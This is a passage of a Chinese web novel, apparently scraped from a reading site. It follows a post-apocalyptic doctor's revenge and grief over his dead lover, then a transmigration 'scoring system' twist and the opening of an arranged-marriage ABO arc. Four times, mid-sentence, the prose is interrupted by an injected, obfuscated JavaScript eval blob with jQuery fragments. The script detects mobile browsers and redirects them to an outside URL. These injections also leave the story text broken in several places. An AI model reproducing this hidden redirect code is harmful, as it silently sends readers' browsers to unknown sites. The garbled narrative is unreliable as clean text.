实验室的走廊站着许多身穿白大褂的人,他们站成一排,个个屏气凝神,垂头丧气的听着祁博士毫不留情的批评。 白色的墙面早已从一片血色中恢复,地上也干净能反光,就连昔日墙壁上残缺的部分都已经被补得整整齐齐。 几年的时间够干很多事了。 祁音尘鼻翼上架着银丝边框眼镜,锋锐的镜片将所有柔软全部掩盖,只留下锋利。衣领的扣子被扣到最上面,遮得严严实实。宽大的白大褂穿在他身上,不显丝毫臃肿,反而将人衬得更加身姿挺拔,一双长腿被修饰得笔直。 人是好看的,但偏偏最无情的话也是从那桃花般颜色的薄唇的里吐出来的: “研究多久了?连最简单的成分都研究不出来,还不如把你们的脑子送给丧尸吃了算了,说不定他们还会变得再笨一点……” 凭啥啊!他们现在都没有机会吃脑花,凭什么让丧尸享这个福啊! 再说了只给两天时间,除了您和安助,谁有那个本事弄得出来吗?除非他们不睡。 只是这话,众人并不敢讲出来。当初基地摇摇欲坠之时,有些有能力的见着基地前景不行,纷纷投了其他基地,只有一小部分愿意追随祁音尘的人留下,加上那些受了伤不得不养伤的,基地里剩下的人简直少得可怜。 当初庞大的基地就像是一场梦。 但是,当初祁博士才生了孩子不久,只休息了几日之后,就开始接手基地这个烂摊子了。也就是这几年的功夫,他们的基地不仅在基建上胜过其他的基地,就连在医药研究、资源利用和开发上都是那些基地赶不上的。 事到如今,还有谁敢质疑博士呢? 反正他们不敢。 祁博士慢慢从众人脸上扫过,无声审视了众人一遍,才放他们离开。 “哎!走就走!踩我干嘛!急着送脑子?” “不是,谁叫你刚好把脚放在我鞋底啊……” …… 看来他们很着急离开。 但祁音尘却不急,而是慢悠悠的走向走廊尽头、光线都被吞没的地方。 哒,哒,哒 祁音尘慢条斯理的走下楼梯,脚步一下一下的踩在楼梯上发出声音,这个走廊尽头藏着的一个地下室,以及很久没有人来过了,在狭小窗户射进的光线里,灰尘在难得可见的光里起舞。 祁音尘双手带着透明的手套,五指修长,骨节极其好看,他熟练地将墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775816|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的开关打开,昏暗的地下室瞬间亮如白昼。 地下室空空荡荡的,没有摆很多东西。只有一张简陋的铁床上面躺着一个人,占据了比较大的空间。那人浑身插着管子,旁边的各种仪器显示屏上闪烁着各种数据。 祁音尘慢慢的走到床边,微笑的问: “只能躺在床上的感觉怎么样?” 他看着床上的赵祁—— 浑身都溃烂,神志不清,他将人从废墟下挖出来经过简单的医治,但也仅仅只是让他活着而已。如今赵祁四肢都废了,脸上也有着大大小小的伤疤,要是祁音尘不叫出他的名字,恐怕很难辨认出来这究竟是谁。 赵祁眼珠在眼眶里转动着,扭曲的脸恨不得将面前的人生吞活剥—— “我怎么会喜欢你这种人!”他说出口的话嘶哑模糊,因为每说一个字喉咙都像是在被灼烧。 但是赵祁扭曲的脸没能维持多久,他的目光又开始慢慢溃散,瞳孔也渐渐散开,身体有些抽搐,双目失神,思绪将他拉回当年—— 那时他是住在破旧小巷子的辍学不良少年,破破旧旧的筒子楼下,浑身是伤的他狼狈的蜷缩在墙角,但这个时候头顶忽然传来一道朦胧又温和的声音—— “你没事吧?打架了?” 他将脸埋在腿上,不敢抬头。他好像不太适应这种旁人的好意,即便面前这个人并没有任何嘲笑的意思,但他始终不敢看那个人一眼,也不敢回应一个字。 他唯一记得清清楚楚的就是那人将一件带着淡淡花香的外套披在了他身上。 真的很香,赵祁从没有闻过那种味道。 但他或许不知道,不知道那个人在给他披上了衣服上,就匆匆追上了在前面走得很快的祁音尘。祁音尘穿着校服,背永远是挺的直直的,他听见江泠的呼喊,放慢脚步,不耐烦的对着那张笑的极其灿烂的脸说: “打架受伤的人这么多,你是不是个个都要去问一问?你这外套是不是人手都要批发一件?” 江泠笑眯眯的摇了摇头:“那可不是!我给你这件是我穿过的,给他那件阿姨才洗过,我都还没来得及穿呢!” 祁音尘不自在的转过头,只觉得脸上烧得慌:“你要不要脸!” 但身上的外套仿佛沾染上了江泠的体温,热乎乎,热得祁音尘后背都出了汗。 赵祁难受的在床上抽搐,目光涣散,想到当初的场景,口中喃喃道:“我早该、早该把……衣服……还给你的。” 祁音尘正欣赏着赵祁的痛苦,措不及防听到这么断断续续的一句话,皱了皱眉,冷声问:“什么衣服?” 赵祁听见这话,只觉得自己很可笑,他记了这么多年,可是祁音尘似乎早就忘了。 他算什么,笑话吗?但他终究还是有些不甘心,努力的抬了抬头,盯着祁音尘,一字一句说: “你、你之前……给过我一件外套……” “就在回你家的……巷子里,我……” 祁音尘试图从记忆里找到与这话相关的一星半点,他可从不记得自己有这么好心给过旁人衣服,只有江泠爱做这些事……是江泠? 祁音尘目光像淬了毒,看向赵祁,嘲笑着他的可怜,也并不介意告诉他真相: “啊,那件外套是江泠给你的,跟我没有一点关系。” 真可笑,口上说喜欢了他多久多久,但是却不知道一开始就是错的。 江泠就不该怜悯他们身处黑暗里的人,他以为能给黑夜一抹光,实际所有人都想拉他下来。 祁音尘很仔细的欣赏着赵祁眼中的难以置信和错愕,满意的转身离开,如同来的时候那样,一脚一脚慢慢踏上楼梯,走得十分缓慢。他刚刚眼中出现的笑意仿佛是错觉,此时阴沉着抬头看向前方。 江泠,你真的不该那么好心。 身后传来赵祁痛苦的嘶吼: “不是你?!那个人不是你?” “为什么!为什么!” …… 祁音尘面无表情的关上了门,将声音彻底隔绝在身后。 22. 高岭之花医学博士 21 远处落日的余晖暖暖的洒在地上,这片土地上已经不再有末世到来的荒芜,如今高楼再次拔地而起,暖橙色的光线像一层柔软的保护罩平等地落在每一处,驱散着末世曾带给人们的阴霾。 原先的一片片杂草丛生的空地现在早已发生了新变化,新城到处镶嵌着美丽的蔷薇花海,从空中往下看去,宛若一副精心雕琢的画卷,一片又一片的蔷薇花海随风起舞,见证着这个世界再次充满生机盎然。 基地外围,不,应该说新城的最外围也种着一片蔷薇花,用最柔软的花瓣给予人们希望和流量。 突然—— 一道稚嫩的童声划破了新城中心大楼的静穆与严肃,一个小男孩飞快从大楼跑了出来,像风一般的冲进了一个人的怀抱,甜甜的大声喊:“安叔叔!” 小小的人儿像是从画里走出来的一样,浑身白净,漂亮的大眼睛像是盛着两口小湖泊,乖乖地看着人的时候,闪烁着满满的炽热与真诚。但那双黑宝石眼睛下又嵌着一颗小小的泪痣,完美的融合了两个父亲的容貌,长长的眼睫毛跟洋娃娃似的。 安瓷稳稳的接住小孩儿,六年过去了,他在时间沉淀下显得越来越稳重,整个人看起来十分可靠,又带着恰到好处的温柔。他宠溺的看着怀中的小孩儿,眼里满满的关怀: “怎么不去找爸爸呀?让你爸看见又该吃醋了。” 安瓷脱下了那双薄薄的手套揣进兜里,一边说话一边给小孩整理着乱糟糟的衣服。他耐心的将小孩胸前错位的纽扣一个一个扣好,最后抚摸着小孩儿的头发,等待着他的回答。 江泽善感受着头顶上那双手的温暖,眨巴了眨巴眼睛,瘪了一下嘴,但还是很懂事的解释: “爸爸看见我伤心,我不想爸爸伤心……所以来找安叔叔了。” 安瓷叹了口气,没想到过了这么久了,祁音尘还是那副样子。 当初他操刀接生祁音尘腹中的孩子时,尽管祁音尘也很配合,孩子才得以顺利降生,但是后来祁音尘却故意躲着不见孩子。 生下孩子没几天,他就拖着那副没好全的身体开始接手基地留下的烂摊子,拼命的跟其他基地的人抢地盘,抢资源,一点儿都不把自己的身体放在心上。 自己都顾不上,就别说孩子了。 尽管祁音尘安排了不少人帮忙照料孩子,但是自己作为亲生父亲却完全不尽到陪伴的责任,那又算什么呢? 按理说他这个外人是不该插手的,但是有时候看不过去,便主动接过了抚养孩子的重责,眼看着孩子越长越像江泠,安瓷的心也是忍不住软了又软。 可是这孩子还是太懂事了,明明才六岁,却已经知道了自己的父亲看见他会伤心,于是压抑着天性中对父亲的依赖,不再闹着见祁音尘。 但什么时候祁音尘才会明白珍惜这个词呢? 安瓷伸手捏了捏泽善软乎乎的小脸。 就在他陪着江泽善玩儿的时候,身后忽然传来一道冷冰冰的声音—— “不是说好今天去看爸爸的吗?还走不走?” 安瓷见祁音尘装模作样的对泽善说话,不由得怕撇了撇嘴。 不就是嫉妒孩子总是找他玩嘛! 祁音尘立在门口,白色长袍下依旧掩饰不住清瘦的身体,墨色长发长到了腰线处,越发显得他整个人雄雌莫辩。 美则美矣,但是气质越发清冷,眉梢上像是凝着终年不化的雪。 小孩儿看着来人,脸上掩饰不住的惊喜,跟安瓷乖乖的说完告别,立马飞奔过去牵住了祁音尘的手。 祁音尘将江泽善小小的手包裹在手心,感受着那一团小小的暖意,他垂眼看着翻版的小江泠,神情终于有了一丝松动,眸色柔软许多。为了让江泽善跟上他的步子,甚至还刻意放慢了步伐。 离开之前祁音尘远远的和安瓷对视了一眼,安瓷也不躲闪,冷静的看着祁音尘,无言的氛围在两人眼中弥漫开。 他现在可是二把手,才不怕祁音尘。 任由他们的目光针锋相对,江泽善开心的牵住了祁音尘的手轻轻摇晃着,笑得傻乎乎的,珍惜着父子之间少有的温情时刻。 江泽善很小就知道,自己有两个爸爸。一个爸爸在永远的沉睡,另一个爸爸总是很忙,很少有见面的机会。他也明白,祁音尘不是不喜欢他,只是太伤心了,每一次爸爸看他的目光都带着难以言说的忧伤,像是透过他,在注视着另外一个人。 所以他要乖一点,不能让爸爸太伤心。 很快,一大一小的身影就消失在安瓷的视线中。 祁音尘牵着泽善的手走了一会,终于在一个地方停下了。 这是一个蔷薇小花园,满院子的蔷薇花开得格外灿烂,祁音尘一点儿也不心疼自己将昂贵的培育液用在这里。他定了定神,走了进去,蔷薇花海的中间,立着一块石碑。 这儿并不是江家,尽管祁音尘后来知道了江泠被葬在江家的小花园,但是他不敢去那里找他。每当走近那里,脑海中那些画面就会一点一滴清晰的在眼前上演。 宋檀玉也一直派人守着那里,防着他擅自进入那里。其实自从江泠走后,他就避免着跟宋檀玉一行人发生冲突,因此他也不愿意去闯,扰了江泠的安宁。所以他另外修了一个墓碑,刻着江泠的名字,种满他喜欢的蔷薇花,不时的来看一看。 可是不够。 这些一点儿都不够。 祁音尘一双雾色朦胧的眸中闪着坚定的光,他盯着石碑上刻着的那个名字,泛着柔光。 泽善感受到捏着自己的那只大手越来越紧,但是他没有说,只是在心里天真的祈求着—— 爸爸,你快醒过来吧,不要再睡了。 时间一晃,很快就到了江泽善上初中的年龄。 父亲研制的疫苗和特效药很有效果,如今末世已经完全重建成为了一个全新的世界,慢慢恢复,重建秩序。 他也很久没有见到人们口中所说的“恐怖又可怕的丧尸”,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775817|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎随着伤痕的结痂,已经慢慢从人们的记忆中淡化。 但是江爸爸始终没有醒来,江泽善明白他或许永远不会醒过来了。 因为他明白了死亡的概念。 他也知道安叔叔和他爸之间有过节,虽然也不知道是什么矛盾让两人关系变成了这样。 后来他注意到他爸频繁的出入私人实验室,身体忽然变得很虚弱,他偷偷趴在实验室没有关紧的门缝偷听,只听到一些模糊的字节—— “记忆载入”,“人像复刻”,“情感植入”…… 他隐隐约约察觉到什么,于是放学后就趴在实验室门外注意里面的动静,直到有一天听到里面爆发了激烈的争吵—— “你在干什么?你疯了吗?你拿自己做实验有用吗?江泠已经死了!再做个一模一样的仿生人,也不是他!你明不明白!” “你难道不想看到江泠吗?”是他爸虚弱但冷静理智的声音。 接下来是良久的沉默。 后来江泽善就什么都没听到了,只是从那之后,安叔叔也开始频繁的进出实验室了,常常和父亲成天成天的待在里面不出来。 这时候,江泽善想到了一个词——“飞蛾扑火”。 他也想过阻止他爸和安叔叔荒谬的行为。 但是当他每一次看到他爸怀着淡淡伤感的眼睛时,就又说不出话来了。 不过有一回他没有忍住,偷偷地躲在实验室里面,打算看看他爸和安叔叔究竟在做什么,那一幕的确让他震惊了—— 他爸躺在手术台上,头上连接着密密麻麻的仪器,安叔叔则在一旁做着调试,仔细观察着数据。 江泽善很聪明,他完美的继承了他父亲的医学天赋,也明白了他爸究竟想要做什么。可是他没有办法阻止,只能眼睁睁看着他爸和安叔叔的身体变得越来越差劲。 神经系统的损伤是不可修复的。 关于他们为什么要这么做的疑问一直盘旋在江泽善的心头,直到有一天他误入了一个藏在走廊尽头的地下室,从一个陌生人的嘴里知道了他亲生父亲们之间的故事。 他无法去评判,因此只有尊重,尊重他们的选择。 尽管他知道,那个再也醒不过来的父亲是不会愿意自己以这种方式再活下去的。 产生这个念头不久,命运似乎也在冥冥之中发生了改变—— 他听见实验室里父亲撕心裂肺的质问,那么的绝望: “为什么?为什么会失败?为什么!” 后来他爸一夜之间白了头,像是信念一朝之间崩塌之后对于这个世界深沉的痛苦和绝望。 走廊尽头的地下室关着一个余生都在忏悔的人。 他的亲生父亲也不会得到被原谅的机会。 祁音尘的身体越发清瘦,有时会呆滞的停在某一处,仿佛看见了某个人就在那里对他笑着,可是目光一闪,什么都没有。 因为这平安盛世,再也不会有一个叫“江泠”的人。 23. 高岭之花医学博士 22 光线争先恐后的从窗外跑进来,斜斜的照在书桌上,沉浸在余晖中的教室理没剩多少人。 祁音尘认真的在课桌上演算着习题,尽管里面的衣服衣领有些高,但还是露出了一截白皙的脖子,打底的衬衣虽然是简约大方的款式,但是隐在衣领处的标识却显示出了其价值不菲。 少年似乎天生和白相衬,穿上白色的衣服总显得疏离清冷,看向人也是若即若离的感觉。 突然,一团阴影在他头顶落下,与此同时还响起一道声音—— 祁音尘抿了抿薄唇,冷冷的看向来者。 只见江泠手肘撑在课桌上,看见祁音尘这个表情,心虚地清了清嗓子说:“放学了我要和檀玉哥去玩会儿,你先回去,我妈问你就说我去篮球特训了。” “行不行?” 祁音尘没有说话,垂下眼,看似毫无变化,手上拿笔的力道却是重了几分,用力的在白色草稿纸上留下划痕。 江泠心惊肉跳的看着少年的动作,喉结有些起伏,吞咽了一下,飞快的说了一句“那我就当你答应了”便消失的无影无踪。 只留了他目光晦暗的看着消失的人影。 但很快,这一幕就像一块玻璃,瞬间碎成了无数片。 祁音尘大汗淋漓地从梦中醒来,呼吸变重,眼睛有些茫然,似乎不太明白怎么又梦到了江泠。他揉了揉眼,拿过床边的银丝边框眼睛戴上,双眼有些放空。 不似少年时的青涩,如今的祁音尘更加的不近人情,成熟的眉眼,越发立体的五官,尽管有些容貌过人,但是冷冽的气质足以让人望而生畏。 不知为什么,祁音尘总是不时想起江泠一心一意看向他的眼神,那双黑曜石般的双眼闪烁着不加掩饰的爱意,几乎要将人淹没。 祁音尘无数告诉自己—— “这是他心甘情愿的选择。” 当然,这也是他自己的选择。 可是在黑夜里,那双眼里却只剩漫无边际的空洞。 祁音尘再次见到江泠是在和赵祁一起出任务的时候,虽然他已经明确的拒绝过赵祁很多次了,可是赵祁还是不死心,总是找机会跟他相处。这种事多了他也懒得再强调了,干脆当没看见。 这时他正和随行人员一起搜寻着物资,顺便勘测着地质状况,突然赵祁闪过来将他挡在了身后。 原来是前方一大群丧尸正扭曲的向他们走过来,走得很慢,不像是攻击的姿态,但小队还是做好了准备。 祁音尘浅浅地扫过那群丧尸,突然他的瞳孔放大,目光停在其中一个身影上—— 江泠,是江泠。 但是不再像曾经一样,眼中永远闪着炙热的光,张扬又耀眼。此刻的他浑身上下大大小小的伤,有的可能是被丧尸同伴撕咬的,有的或许是遭受异能攻击留下的伤口。衣服破破烂烂挂在他身上,往日总是死皮赖脸的笑脸如今已经消失,脸上再也没有了表情,而肢体变得僵硬,如同行尸走肉一般。 祁音尘心头突然泛起一阵酸涩,他还是后悔了。 即便是他尝试说服自己不要在意,可心里一阵一阵刺痛还是让他无法做到忽视这一切。 他让江泠当实验体,江泠答应了。实验室的人对江泠做各种实验,他是默许的。甚至往江泠身上注射丧尸病毒的申请,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775818|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他亲手签的字。那个人永远不会说拒绝,甚至自己只是含糊不清的说了几句让人心乱情迷的话,江泠也是永远带着信赖的眼神看着他。 就像末世初来的时候,富家公子拎着武器将他护在身后,对他说别怕。 可是江泠难道就不害怕吗? 就在这时,那群丧尸突然改变了方向。江泠的身形被其他丧尸遮住,慢慢的看不见,一大群丧尸整整齐齐地往另外一个方向走去。 许是祁音尘出神的盯了太久,赵祁注意到看过去,低声的询问:“要动手吗?” 他以为祁音尘是盯上那群丧尸了。 祁音尘脸色有些白,心绞痛的厉害,立马拒绝:“不。” 他不知道那种感觉到底是什么,借口自己单独找资源离开了,实则却是紧紧跟着那群丧尸的步伐,在其中寻找江泠的身影。 当他找到的时候,一把泛着寒光的匕首突兀的插在江泠背后,源源不断的乌黑的血从江泠身体里涌出,像是永远都流不完。 在另外一个方向,宋檀玉盯着看了许久,还是迈开了脚步。 祁音尘看见这一幕,捂住疼的快要死掉的心口,双膝重重地砸在了地上。 而这个时候,江泠还在跟评分系统讨价还价—— “您再看看呢?最后那下我都在努力的引开丧尸,男二满意度怎么可能还是0呢?你们是不是弄错了?” 评分系统高冷的反驳:【不可能。上面显示,主角受对你这个男二的满意度就是0,别挣扎了】 【任务失败,评分等级为:D,积分累积:0。】 【请马上返回时空管理局。】 24. 被迫联姻的心高气傲Omega 1 灯光璀璨的酒会上到处摆放着香槟,身着礼服、妆容精致的贵家小姐、公子互相举起酒杯微笑点头致意,华丽的礼服光彩照人,无一不说明这是上流世家贵族举办的盛宴。许多容貌美丽的omega纷纷举止优雅的陪在伴侣身边,乖巧又温顺。 这是帝国最为古老悠久的□□举办的盛宴,为了庆祝江家小少爷之子即将年满五岁。江泠作为江家最为看重的小少爷,他最为宠爱的唯一的儿子自然也受到了整个江家的重视。 在万众瞩目的注视下,江泠从旋转楼梯上慢慢走下来。他身穿简约低调的白西服,每一处合身的裁剪都恰到好处的彰显了他挺拔的身姿,配上白色披风,又有种说不出的贵气。他胸前佩戴着帝国独一无二的红宝石胸章,足够夸张,也足够吸引眼球,可是一到这人身上,红宝石的光辉都显得那么不足为奇。 江泠神色淡漠的站在楼梯上望着众人,轻轻抿着薄唇,优秀的继承了江家出色容貌的江泠一站在那里就十分引人注目,就连最为挑剔的贵族都不得不承认除开江家背后强大的势力让众人忌惮外,江家人的美貌似乎更像另外一种杀人不见血的武器。 短暂的欣赏了片刻之后,众人回过神来,才注意到江家小少爷居然独自一人出现在这里。 江家小少爷的omega呢? 江泠自然也注意到了众人探究的眼神,但没有心思关注,因为灵魂体受到的创伤依旧还在隐隐作痛。 恐怕在天上睥睨着一切的天道发现了不对劲,趁他脱离世界时还阴了他一把,要不是他跑的快,差点就走不了了。 他已经把这种情况反馈给部长了,并且强调要是再来一次,他也撂挑子不干了,目前部长还没有回复。 平复了一下心情后,江泠脑中缓缓接受着这个世界的记忆片段,与此同时,他手腕上的始终印记也发生了变化。 好了,看完了,记起来了,一句话简介—— “前夫绿帽男二真的很不容易,亲生孩子都要认别人当爹。” * 他在每一封信里都在歌颂,赞叹—— 歌颂那人如同玫瑰花般娇艳又耀眼,赞叹那人的眼眸总是盛满了清晨的露水,晶莹剔透。 最初到这个小世界时,江泠依旧是尽职尽责的职业舔狗。或许经历过失败的阴影,这一回他带着几分重整旗鼓的决心,踏上了新世界的征程。 由于第一次任务就以惨败收场,他激活了新手帮扶机制,于是被抹去有关任务者的记忆,系统也不得不暂时下线。这一次他会以一个完完整整的人物投放在这个世界里——出生、成长、结婚、离婚。 这下,他更投入了。 从出生开始,他就是江家最为看重的继承人。在出色的天赋加持下,他不仅精通机甲格斗,更是具有机甲设计的天赋。不过由于家教森严,学习的科目众多,鲜少跟外人接触,所以难免看起来有些古板和不近人情。 在一次偶然的宴会上,被江家推出去开始社交的江泠遇到了和好朋友们打赌输了的主角受。当那个美丽的如同玫瑰花般的金发omega来到江泠面前的时候,江泠就知道,原来他生命中要等的人是他。 灵魂的在身体里发颤,江泠遵从心的指引。 于是向来冷淡的江家小少爷开始追求主角受,而主角受也因被江家小少爷追求备受众人艳羡。江泠送出的各种千奇百怪的礼物和总是精心准备的邀约也让主角受产生了一丝好感。 但注意,这里是对男二的好感。 不久后由于主角受家在帝国皇子继承人的站队问题被猜疑,为了避免和皇子联姻带来的猜忌,主角受家中将与世无争的江家作为主角受未婚夫的第一人选。 等主角受知道的时候,只能被迫同意联姻,从此开始对江泠心生怨怼。 当自由的鸟被折断翅膀,第一个被怨恨的对象便是从混乱中能保他安宁的人。 被斩断成为帝国政客的可能后,omega越发的不甘,但在两个家族的催促之下,又和江泠生了一个小alpha。尽管如此,主角受依旧没有放弃自己的目标,他不止要成为帝国政客,更要颠覆原有不公的制度,促进AO之间的平等,绝不让omega再成为被利用的工具。 于是主角受在不久后遇见了志同道合的主角攻,主角攻心疼主角受的隐忍坚强,不仅表示愿意接纳孩子,更坦言做成为主角受背后的男人,为主角受提供助力。 江泠作为一个炮灰前夫虽然心有不甘,但还是同意了,甚至在冥冥之中无数次身体力行地站在主角受身边—— 他们孩子的五岁宴会,主角受趁机盗走家族机密文件,导致家族所有财产收支情况外泄,被其他眼红的家族势力盯上,江泠自己担了下来,一顿家法,断了三根肋骨。 【主角受会感激你的,甚至对你有些愧疚……哎?!】 【满意度怎么还是0?】 接下来,在主角受未与江泠正式离婚的情况下,被家族中人亲眼撞见主角受与主角攻独处,江泠亲自出面解释,再三为主角受担保。 【这回不会有问题的,主角受一定十分感动和羞愧……?】 【0?这不可能!】 后面主角受为了尽快掌控主角攻手下的军队,盗取了江泠设计的最新机甲图,江家家主震怒,又来了一套家法,不仅废除了江泠继承人的位置,还跟江泠断绝了关系。 【这回不可能不满意了吧?他在你身上摸的钥匙……】 然而就在江泠不知情的情况下,冥冥之中负责指引江泠完成任务的新手帮扶系统查询了最新满意度后,绝望离场。 但江泠却不能这么轻易脱离小世界,他得活完“江泠”的一生。 后来帝国动乱,主角攻受联手镇压,江家在各个家族的打压下不得不迁移至旁支星球,帝国政权不复存在,江泠从千宠万宠的小少爷沦为了黑户废人,受家法时被打断的腿因为没得到治疗留下旧伤,最后却意外被昔日主角受的好朋友救治,养在家中。 江泠最开始是感激的,但后来却被主角受好友限制自由,不得外出,彻底与外界失去联系。有一回窗户忘记关,江泠听到外面街道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775819|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上传来热闹的欢呼声,在从此起彼伏的声音中他恍惚听到了主角受的名字。 江泠大概猜到了,可是他清晰的明白主角受不会属于他。 他的妻子或许从来没有喜欢过他。 失去了所有的任务记忆的江泠无数次自嘲的想,他现在不过是一个废物而已,穿着精美柔软的华丽服饰,被他妻子的好友——帝国的新任大法官肆无忌惮的相拥。 那个omega带着长链眼镜,人如同身上的雪莲味一样的清冷诱人,会一遍一遍的在耳边问他,语气缠绵—— “我给你再生个小alpha好不好?” 他不说话,只是在心里一遍一遍默念着,不好,我不想要。 后来他是自己寻死才脱离这个小世界,恢复了记忆。 饶是现在再回忆一遍,他也不得感叹—— “什么新手帮扶系统,真阴啊!” 不过如今的他神色看起来并没有什么波动,仿佛回忆中的亲身经历者不是他一样。他带着温和的笑意看着下面的宾客,微笑点头致意。 没有人会拒绝主人礼貌的问好,众人微微俯身回礼。 江泠率先走了下来与旁人交谈,过了一会儿,众人才注意到这场宴会的另外两个主人公姗姗来迟。Omega依旧是高傲的模样,满头的金发耀眼,一双茶色的眸子闪烁着笑意,牵着一个有七分神似的小alpha,慢悠悠的从楼梯上走了下来。 omega穿着得体的白礼服,向众人表达着歉意,只是细听着像是歉意,再仔细看便能察觉omega的漫不经心。 江泠主动走到了omega身边,微微俯身,声音很轻:“白宣,我们去那边谈谈。”说完那句话后,他站直想要顺手摸一摸小alpha的头,却遭到了小孩下意识的闪躲,他往自己最信任的父亲身后藏了几分,一双大眼睛转的滚圆。 江泠喉咙间轻轻呢喃着一句话:“果然一点儿都不像我。” 要不是他嘴唇动了一下,恐怕不会有人意识到江泠说了什么。 而白宣也下意识错愕的看向江泠,“你说什么?” 这人不是一向最爱在众人面前装出一副恩爱模样吗?如今的礼貌疏离又算那样?但他倒是也没拒绝,拍了拍小孩儿的手背,语气轻柔的说: “你去找汀兰叔叔玩。”他说完大厅中央的方向指了指。 沙发上的那人穿着一身白色长衫,似乎深受古星文明影响,一副长链眼镜架在鼻梁上,见白宣看向他,也微微点头致意。 等目送小孩走过去后,白宣才回过头看着自己名义上的丈夫,撩了撩额前的金色碎发,当着外人笑的很甜: “我们去那边吧。” 等两人到了没人的角落,白宣脸上的笑容一下子凝固,冷冷地问: “到底有什么事?” 对于这种态度,江泠依旧神色如常,毕竟他没少见。不过重要的事情还得先说,这次他来的时机不错,正好可以挽回许多事情。只见他声音很轻地告诉白宣: “我们离婚吧。”